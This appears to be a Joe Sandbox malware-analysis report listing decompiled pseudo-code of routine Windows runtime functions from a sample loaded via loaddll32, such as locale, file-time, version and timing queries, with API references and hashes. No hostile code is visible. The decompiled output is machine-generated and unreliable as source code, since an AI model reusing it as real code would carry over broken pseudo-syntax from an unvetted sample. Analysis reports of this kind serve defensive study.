Function 00B4047C Relevance: 6.0, APIs: 4, Instructions: 46
sleepCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00B4047C(void* __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				CHAR* _t20;
				long _t25;
				intOrPtr _t30;
				void* _t34;
				intOrPtr _t37;

				_push(0);
				_t34 = __eax;
				_push(_t37);
				_push(0xb404f9);
				_push( *[fs:eax]);
				 *[fs:eax] = _t37;
				E00B3FEDC(__eax);
				_t25 = GetTickCount();
				do {
					Sleep(0);
				} while (GetTickCount() - _t25 <= 0x3e8);
				E00B3FADC(_t34, _t25,  &_v8, 0, __edi, _t34);
				if(_v8 != 0) {
					_t20 = E00B146E8(_v8);
					WinHelpA( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t34 + 0x1c)))) + 0xc))(), _t20, 9, 0);
				}
				_pop(_t30);
				 *[fs:eax] = _t30;
				_push(0xb40500);
				return E00B14228( &_v8);
			}

0x00b4047f
0x00b40483
0x00b40487
0x00b40488
0x00b4048d
0x00b40490
0x00b40495
0x00b4049f
0x00b404a1
0x00b404a3
0x00b404af
0x00b404bd
0x00b404c6
0x00b404cf
0x00b404de
0x00b404de
0x00b404e5
0x00b404e8
0x00b404eb
0x00b404f8

APIs

Part of subcall function 00B3FEDC: WinHelpA.USER32 ref: 00B3FEEB

GetTickCount.KERNEL32 ref: 00B4049A
Sleep.KERNEL32(00000000,00000000,00B404F9,?,?,00000000,00000000,?,00B40472), ref: 00B404A3
GetTickCount.KERNEL32 ref: 00B404A8
WinHelpA.USER32 ref: 00B404DE

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: CountHelpTick$Sleep
String ID:
API String ID: 2438605093-0
Opcode ID: 2b94c82505cc659574e63988afe654d2d0468363cd37d88f47e7143899312a50
Instruction ID: 296048540e6c90164a09155595c880bbdf7346c0a0219e8f2f8fce3ba0d93ce4
Opcode Fuzzy Hash: 2b94c82505cc659574e63988afe654d2d0468363cd37d88f47e7143899312a50
Instruction Fuzzy Hash: 3501AD34710204AFE311FBA4DC52BADB3F8DB08B00FA141F1F600D7692DB749E409961

Uniqueness

Uniqueness Score: -1.00%

Function 00B18F90 Relevance: 6.0, APIs: 4, Instructions: 37
timefileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B18F90(void* __eax) {
				short _v6;
				short _v8;
				struct _FILETIME _v16;
				struct _WIN32_FIND_DATAA _v336;
				void* _t16;

				_t16 = FindFirstFileA(E00B146E8(__eax),  &_v336);
				if(_t16 == 0xffffffff) {
					L3:
					_v8 = 0xffffffff;
				} else {
					FindClose(_t16);
					if((_v336.dwFileAttributes & 0x00000010) != 0) {
						goto L3;
					} else {
						FileTimeToLocalFileTime( &(_v336.ftLastWriteTime),  &_v16);
						if(FileTimeToDosDateTime( &_v16,  &_v6,  &_v8) == 0) {
							goto L3;
						}
					}
				}
				return _v8;
			}

0x00b18fab
0x00b18fb3
0x00b18fe9
0x00b18fe9
0x00b18fb5
0x00b18fb6
0x00b18fc2
0x00000000
0x00b18fc4
0x00b18fcf
0x00b18fe7
0x00000000
0x00000000
0x00b18fe7
0x00b18fc2
0x00b18ff7

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 00B18FAB
FindClose.KERNEL32(00000000,00000000,?), ref: 00B18FB6
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00B18FCF
FileTimeToDosDateTime.KERNEL32 ref: 00B18FE0

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: FileTime$Find$CloseDateFirstLocal
String ID:
API String ID: 2659516521-0
Opcode ID: 9f61c25bb551bc6150c669710fa06ffe61ab05e2590045b11eab567f278e58f4
Instruction ID: 4e64f373137f00e847815323bdb81c59c11d917ac66319b8e1d3a889cee280b9
Opcode Fuzzy Hash: 9f61c25bb551bc6150c669710fa06ffe61ab05e2590045b11eab567f278e58f4
Instruction Fuzzy Hash: 52F0A476D0120C66CB20D7E58D859CEB3ECDB05314F9046E2B555D2191EA35DB854B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B353DC Relevance: 3.0, APIs: 2, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00B353DC(void* __ebx) {
				char _v260;
				char _v264;
				long _t21;
				void* _t22;
				intOrPtr _t27;
				void* _t32;

				_v264 = 0;
				_push(_t32);
				_push(0xb35478);
				_push( *[fs:eax]);
				 *[fs:eax] = _t32 + 0xfffffefc;
				_t21 = GetLastError();
				if(_t21 == 0 || FormatMessageA(0x1000, 0, _t21, 0x400,  &_v260, 0x100, 0) == 0) {
					E00B35388(_t22);
				} else {
					E00B14498( &_v264, 0x100,  &_v260);
					E00B1C1C4(_v264, 1);
					E00B13BC0();
				}
				_pop(_t27);
				 *[fs:eax] = _t27;
				_push(0xb3547f);
				return E00B14228( &_v264);
			}

0x00b353e8
0x00b353f0
0x00b353f1
0x00b353f6
0x00b353f9
0x00b35401
0x00b35405
0x00b3545a
0x00b3542b
0x00b3543c
0x00b3544e
0x00b35453
0x00b35453
0x00b35461
0x00b35464
0x00b35467
0x00b35477

APIs

GetLastError.KERNEL32(00000000,00B35478), ref: 00B353FC
FormatMessageA.KERNEL32(00001000,00000000,00000000,00000400,?,00000100,00000000,00000000,00B35478), ref: 00B35422

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: d0dc2a26a13ccb9be1436574f7fe6e77c67b398234a9b9fc2d8a7fdab87db219
Instruction ID: f57de1951ddacf4c5d8b14a131f4cabcd1631afbd297d4daf9681fd69a1a7e11
Opcode Fuzzy Hash: d0dc2a26a13ccb9be1436574f7fe6e77c67b398234a9b9fc2d8a7fdab87db219
Instruction Fuzzy Hash: 6001A7702447456FE735EB60CC92BE973ECE758701FA144F0BA44A22C2EAF0ADC08A64

Uniqueness

Uniqueness Score: -1.00%

Function 00B1D024 Relevance: 3.0, APIs: 2, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00B1D024(int __eax, void* __ebx, void* __eflags) {
				char _v11;
				char _v16;
				intOrPtr _t28;
				void* _t31;
				void* _t33;

				_t33 = __eflags;
				_v16 = 0;
				_push(_t31);
				_push(0xb1d088);
				_push( *[fs:edx]);
				 *[fs:edx] = _t31 + 0xfffffff4;
				GetLocaleInfoA(__eax, 0x1004,  &_v11, 7);
				E00B14498( &_v16, 7,  &_v11);
				_push(_v16);
				E00B18C68(7, GetACP(), _t33);
				_pop(_t28);
				 *[fs:eax] = _t28;
				_push(0xb1d08f);
				return E00B14228( &_v16);
			}

0x00b1d024
0x00b1d02d
0x00b1d032
0x00b1d033
0x00b1d038
0x00b1d03b
0x00b1d04a
0x00b1d05a
0x00b1d062
0x00b1d06b
0x00b1d074
0x00b1d077
0x00b1d07a
0x00b1d087

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00B1D088), ref: 00B1D04A
GetACP.KERNEL32(?,?,00001004,?,00000007,00000000,00B1D088), ref: 00B1D063

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d0c5e7705b33d91ee7bdd2e9d8c57bf6c3fc992749fdb7820dcc05f71c2e4fa9
Instruction ID: fb02a9a21edc6c043f2241941b7a0690940d0bda64e55b8059ae7390c858ba0d
Opcode Fuzzy Hash: d0c5e7705b33d91ee7bdd2e9d8c57bf6c3fc992749fdb7820dcc05f71c2e4fa9
Instruction Fuzzy Hash: 0CF09671E04208AFEB00EBA1D852DDDB7EAE789710F90C5B4B11096691EA7465848650

Uniqueness

Uniqueness Score: -1.00%

Function 00B19114 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B19114(CHAR* _a4, intOrPtr* _a8, intOrPtr* _a12) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				signed int _v28;
				CHAR* _t25;
				int _t26;
				intOrPtr _t31;
				intOrPtr _t34;
				intOrPtr* _t37;
				intOrPtr* _t38;
				intOrPtr _t46;
				intOrPtr _t48;

				_t25 = _a4;
				if(_t25 == 0) {
					_t25 = 0;
				}
				_t26 = GetDiskFreeSpaceA(_t25,  &_v8,  &_v12,  &_v16,  &_v20);
				_v28 = _v8 * _v12;
				_v24 = 0;
				_t46 = _v24;
				_t31 = E00B152BC(_v28, _t46, _v16, 0);
				_t37 = _a8;
				 *_t37 = _t31;
				 *((intOrPtr*)(_t37 + 4)) = _t46;
				_t48 = _v24;
				_t34 = E00B152BC(_v28, _t48, _v20, 0);
				_t38 = _a12;
				 *_t38 = _t34;
				 *((intOrPtr*)(_t38 + 4)) = _t48;
				return _t26;
			}

0x00b1911b
0x00b19120
0x00b19122
0x00b19122
0x00b19135
0x00b19144
0x00b19147
0x00b19154
0x00b19157
0x00b1915c
0x00b1915f
0x00b19161
0x00b1916e
0x00b19171
0x00b19176
0x00b19179
0x00b1917b
0x00b19184

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 00B19135

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 13bd77e9d43a1e7e74ae15c6d85478154ed17cb5e6915e1f6b17b1dce90fc017
Instruction ID: 2045ce4f8d0c1148b19e6bce6dd61e7b446fb9f81426f0819bc97aa97fa550b6
Opcode Fuzzy Hash: 13bd77e9d43a1e7e74ae15c6d85478154ed17cb5e6915e1f6b17b1dce90fc017
Instruction Fuzzy Hash: C7110CB5A00609AF9B00CF99C8819EFB7F9EFC8300B54C569A418E7250E6319A418BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B3CFCC Relevance: 1.5, APIs: 1, Instructions: 41
nativeCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00B3CFCC(intOrPtr __eax, intOrPtr* __edx) {
				intOrPtr _v8;
				intOrPtr _t12;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;

				_v8 = __eax;
				_t22 =  *__edx;
				_t26 = _t22 - 0x113;
				if(_t22 != 0x113) {
					_push( *((intOrPtr*)(__edx + 8)));
					_push( *((intOrPtr*)(__edx + 4)));
					_push(_t22);
					_t12 =  *((intOrPtr*)(_v8 + 0x34));
					_push(_t12);
					L00B170B4();
					 *((intOrPtr*)(__edx + 0xc)) = _t12;
					return _t12;
				}
				_push(0xb3d006);
				_push( *[fs:eax]);
				 *[fs:eax] = _t25;
				E00B13584(_v8, _t26);
				_pop(_t21);
				 *[fs:eax] = _t21;
				return 0;
			}

0x00b3cfd5
0x00b3cfd8
0x00b3cfda
0x00b3cfe0
0x00b3d024
0x00b3d028
0x00b3d029
0x00b3d02d
0x00b3d030
0x00b3d031
0x00b3d036
0x00000000
0x00b3d036
0x00b3cfe5
0x00b3cfea
0x00b3cfed
0x00b3cff7
0x00b3cffe
0x00b3d001
0x00000000

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 00B3D031

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: bfffa3abf335e94d33228d4b7607d46bf7cc8cef2e15ea2f13d5cfbf2634be82
Instruction ID: 640bbc83dea8a3b8e4d5901657bc851a23df223f29a29b569f4773103dd34d09
Opcode Fuzzy Hash: bfffa3abf335e94d33228d4b7607d46bf7cc8cef2e15ea2f13d5cfbf2634be82
Instruction Fuzzy Hash: B4F09676604204EF9B14DF9AE891C96B7ECEB4DB60B6140E6F904D7641D631AD00CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00B3596C Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00B3596C(intOrPtr __eax, intOrPtr __edx) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v48;
				struct _SYSTEM_INFO* _t17;
				unsigned int _t20;
				unsigned int _t22;
				signed int _t31;
				intOrPtr _t33;

				_v12 = __edx;
				_v8 = __eax;
				_t17 =  &_v48;
				GetSystemInfo(_t17);
				_t33 = _v8;
				_t31 = _v12 - 1;
				if(_t31 >= 0) {
					if( *((short*)( &_v48 + 0x20)) == 3) {
						do {
							_t20 =  *(_t33 + _t31 * 4) >> 0x10;
							 *(_t33 + _t31 * 4) = _t20;
							_t31 = _t31 - 1;
						} while (_t31 >= 0);
						return _t20;
					} else {
						goto L2;
					}
					do {
						L2:
						asm("bswap eax");
						_t22 =  *(_t33 + _t31 * 4) >> 8;
						 *(_t33 + _t31 * 4) = _t22;
						_t31 = _t31 - 1;
					} while (_t31 >= 0);
					return _t22;
				}
				return _t17;
			}

0x00b35972
0x00b35975
0x00b35978
0x00b3597c
0x00b35981
0x00b35987
0x00b35988
0x00b35992
0x00b359a5
0x00b359ae
0x00b359b6
0x00b359b9
0x00b359b9
0x00000000
0x00000000
0x00000000
0x00000000
0x00b35994
0x00b35994
0x00b35997
0x00b35999
0x00b3599c
0x00b3599f
0x00b3599f
0x00000000
0x00b35994
0x00b359c0

APIs

GetSystemInfo.KERNEL32(?), ref: 00B3597C

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: c6048104c638c541340ce2ec1bb51321c2e4c5cd6fcf2df8e8ab43e7b8385c1d
Instruction ID: f2ac3e6ec41113541e8dfa41a40217f20c9f03380b2af17cc0ae7879b619692f
Opcode Fuzzy Hash: c6048104c638c541340ce2ec1bb51321c2e4c5cd6fcf2df8e8ab43e7b8385c1d
Instruction Fuzzy Hash: 18F06271A01509DBCF25DF98C484998B7F4FB96311B6182E9D448DB242EB30A695CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B16508 Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00B16508(int __eax, void* __ebx, void* __eflags) {
				char _v8;
				char _v15;
				char _v20;
				intOrPtr _t29;
				void* _t32;

				_v20 = 0;
				_push(_t32);
				_push(0xb1656e);
				_push( *[fs:edx]);
				 *[fs:edx] = _t32 + 0xfffffff0;
				GetLocaleInfoA(__eax, 0x1004,  &_v15, 7);
				E00B14498( &_v20, 7,  &_v15);
				E00B12D90(_v20,  &_v8);
				if(_v8 != 0) {
				}
				_pop(_t29);
				 *[fs:eax] = _t29;
				_push(0xb16575);
				return E00B14228( &_v20);
			}

0x00b16511
0x00b16516
0x00b16517
0x00b1651c
0x00b1651f
0x00b1652e
0x00b1653e
0x00b16549
0x00b16554
0x00b16554
0x00b1655a
0x00b1655d
0x00b16560
0x00b1656d

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00B1656E), ref: 00B1652E

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 0ae39c12f0d91face782093657f2b79059c388b5e481c55ee3cf0487611fcbfe
Instruction ID: 124ce78c45609e8000d3851f3fdb39c506f76db6b0ef9dac69711025a176b826
Opcode Fuzzy Hash: 0ae39c12f0d91face782093657f2b79059c388b5e481c55ee3cf0487611fcbfe
Instruction Fuzzy Hash: FBF0683090430DAFEB15DF95CC42ADEB3F7F785710F8189B5B51457594EBB42684C690

Uniqueness

Uniqueness Score: -1.00%

Function 00B1BA08 Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B1BA08(int __eax, void* __ecx, int __edx, intOrPtr _a4) {
				char _v260;
				int _t5;
				intOrPtr _t10;
				void* _t18;

				_t18 = __ecx;
				_t10 = _a4;
				_t5 = GetLocaleInfoA(__eax, __edx,  &_v260, 0x100);
				_t19 = _t5;
				if(_t5 <= 0) {
					return E00B1427C(_t10, _t18);
				}
				return E00B14318(_t10, _t5 - 1,  &_v260, _t19);
			}

0x00b1ba13
0x00b1ba15
0x00b1ba26
0x00b1ba2b
0x00b1ba2d
0x00000000
0x00b1ba45
0x00000000

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 00B1BA26

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: f6a94eead9cefece2eb5aac40f5f9a21e6d9853252b509449bec8942537678e6
Instruction ID: 7912498c9da0cb3267172479b9f0883a62d7812d6fbcd839695e7223261e391c
Opcode Fuzzy Hash: f6a94eead9cefece2eb5aac40f5f9a21e6d9853252b509449bec8942537678e6
Instruction Fuzzy Hash: 18E09231B1021856D714A5699C82EE6729CDB58310F8042BAB904C7352EEB09DC046E9

Uniqueness

Uniqueness Score: -1.00%

Function 00B1C9CC Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B1C9CC() {
				char _v128;
				intOrPtr _v132;
				signed int _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				int _t7;
				struct _OSVERSIONINFOA* _t18;

				_t18->dwOSVersionInfoSize = 0x94;
				_t7 = GetVersionExA(_t18);
				if(_t7 != 0) {
					 *0xbdc0d4 = _v132;
					 *0xbdc0d8 = _v144;
					 *0xbdc0dc = _v140;
					if( *0xbdc0d4 != 1) {
						 *0xbdc0e0 = _v136;
					} else {
						 *0xbdc0e0 = _v136 & 0x0000ffff;
					}
					return E00B14498(0xbdc0e4, 0x80,  &_v128);
				}
				return _t7;
			}

0x00b1c9d2
0x00b1c9da
0x00b1c9e1
0x00b1c9e7
0x00b1c9f0
0x00b1c9f9
0x00b1ca05
0x00b1ca1b
0x00b1ca07
0x00b1ca10
0x00b1ca10
0x00000000
0x00b1ca2e
0x00b1ca39

APIs

GetVersionExA.KERNEL32(?,00B1E284,00000000,00B1E29C), ref: 00B1C9DA

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: a4e4527b83b9f91104414c971f784cd38f9905df75f3ae8a1499f9c40856c296
Instruction ID: 20a05ffa850ba3d83b4185418fd8157321804a4a3d9c87b85b1f1adf1245d9c7
Opcode Fuzzy Hash: a4e4527b83b9f91104414c971f784cd38f9905df75f3ae8a1499f9c40856c296
Instruction Fuzzy Hash: C4F01770985302CFC300DF28D951755BBE4EB48310F80896AE499C7790FB348844CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00B1BA54 Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00B1BA54(int __eax, char __ecx, int __edx) {
				char _v16;
				char _t5;
				char _t6;

				_push(__ecx);
				_t6 = __ecx;
				if(GetLocaleInfoA(__eax, __edx,  &_v16, 2) <= 0) {
					_t5 = _t6;
				} else {
					_t5 = _v16;
				}
				return _t5;
			}

0x00b1ba57
0x00b1ba58
0x00b1ba6e
0x00b1ba75
0x00b1ba70
0x00b1ba70
0x00b1ba70
0x00b1ba7b

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,00B1D336,00000000,00B1D54F,?,?,00000000,00000000), ref: 00B1BA67

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: fd5ba39e849951279b5acf8a6e5d147b96b911ad66fa8928d55352a2fae2e1b6
Instruction ID: 4f4cd961628863b6ff964c9a13f3cdffe7e0bf0da0ff232a753258f2f6f4994b
Opcode Fuzzy Hash: fd5ba39e849951279b5acf8a6e5d147b96b911ad66fa8928d55352a2fae2e1b6
Instruction Fuzzy Hash: 45D05E6631E2907AE310555A6D85DFB4BDCCEC57A0F5040B9B588C6212D6008C469371

Uniqueness

Uniqueness Score: -1.00%

Function 00B1A4C0 Relevance: 1.5, APIs: 1, Instructions: 6
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B1A4C0() {
				struct _SYSTEMTIME* _t2;

				GetLocalTime(_t2);
				return _t2->wYear;
			}

0x00b1a4c4
0x00b1a4d0

APIs

GetLocalTime.KERNEL32 ref: 00B1A4C4

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 7aadbfac04d8761d49b717b560fbde9be9c670a3c2a0388696d83df2bc3f1af8
Instruction ID: 797702ccb6f6ed15d5b583011a1e26ddbd9fbf972309fc1f9b0772a5b2687a7c
Opcode Fuzzy Hash: 7aadbfac04d8761d49b717b560fbde9be9c670a3c2a0388696d83df2bc3f1af8
Instruction Fuzzy Hash: F6A01128808802028280332C0C032AA3280E800A20FC80BE0ACF8003E2EA2A02A082EB

Uniqueness

Uniqueness Score: -1.00%

Function 00B1E7C4 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B1E7C4() {
				struct HINSTANCE__* _v8;
				intOrPtr _t46;
				void* _t91;

				_v8 = GetModuleHandleA("oleaut32.dll");
				 *0xbdf7a8 = E00B1E798("VariantChangeTypeEx", E00B1E314, _t91);
				 *0xbdf7ac = E00B1E798("VarNeg", E00B1E344, _t91);
				 *0xbdf7b0 = E00B1E798("VarNot", E00B1E344, _t91);
				 *0xbdf7b4 = E00B1E798("VarAdd", E00B1E350, _t91);
				 *0xbdf7b8 = E00B1E798("VarSub", E00B1E350, _t91);
				 *0xbdf7bc = E00B1E798("VarMul", E00B1E350, _t91);
				 *0xbdf7c0 = E00B1E798("VarDiv", E00B1E350, _t91);
				 *0xbdf7c4 = E00B1E798("VarIdiv", E00B1E350, _t91);
				 *0xbdf7c8 = E00B1E798("VarMod", E00B1E350, _t91);
				 *0xbdf7cc = E00B1E798("VarAnd", E00B1E350, _t91);
				 *0xbdf7d0 = E00B1E798("VarOr", E00B1E350, _t91);
				 *0xbdf7d4 = E00B1E798("VarXor", E00B1E350, _t91);
				 *0xbdf7d8 = E00B1E798("VarCmp", E00B1E35C, _t91);
				 *0xbdf7dc = E00B1E798("VarI4FromStr", E00B1E368, _t91);
				 *0xbdf7e0 = E00B1E798("VarR4FromStr", E00B1E3D4, _t91);
				 *0xbdf7e4 = E00B1E798("VarR8FromStr", E00B1E440, _t91);
				 *0xbdf7e8 = E00B1E798("VarDateFromStr", E00B1E4AC, _t91);
				 *0xbdf7ec = E00B1E798("VarCyFromStr", E00B1E518, _t91);
				 *0xbdf7f0 = E00B1E798("VarBoolFromStr", E00B1E584, _t91);
				 *0xbdf7f4 = E00B1E798("VarBstrFromCy", E00B1E604, _t91);
				 *0xbdf7f8 = E00B1E798("VarBstrFromDate", E00B1E674, _t91);
				_t46 = E00B1E798("VarBstrFromBool", E00B1E6E4, _t91);
				 *0xbdf7fc = _t46;
				return _t46;
			}

0x00b1e7d2
0x00b1e7e6
0x00b1e7fc
0x00b1e812
0x00b1e828
0x00b1e83e
0x00b1e854
0x00b1e86a
0x00b1e880
0x00b1e896
0x00b1e8ac
0x00b1e8c2
0x00b1e8d8
0x00b1e8ee
0x00b1e904
0x00b1e91a
0x00b1e930
0x00b1e946
0x00b1e95c
0x00b1e972
0x00b1e988
0x00b1e99e
0x00b1e9ae
0x00b1e9b4
0x00b1e9bb

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 00B1E7CD

Part of subcall function 00B1E798: GetProcAddress.KERNEL32(00000000), ref: 00B1E7B1

Strings

VarBoolFromStr, xrefs: 00B1E967
VarR4FromStr, xrefs: 00B1E90F
VarBstrFromBool, xrefs: 00B1E9A9
VarMul, xrefs: 00B1E849
VarXor, xrefs: 00B1E8CD
VarAdd, xrefs: 00B1E81D
VarNeg, xrefs: 00B1E7F1
VarBstrFromCy, xrefs: 00B1E97D
VarCmp, xrefs: 00B1E8E3
VarOr, xrefs: 00B1E8B7
VarDiv, xrefs: 00B1E85F
VarSub, xrefs: 00B1E833
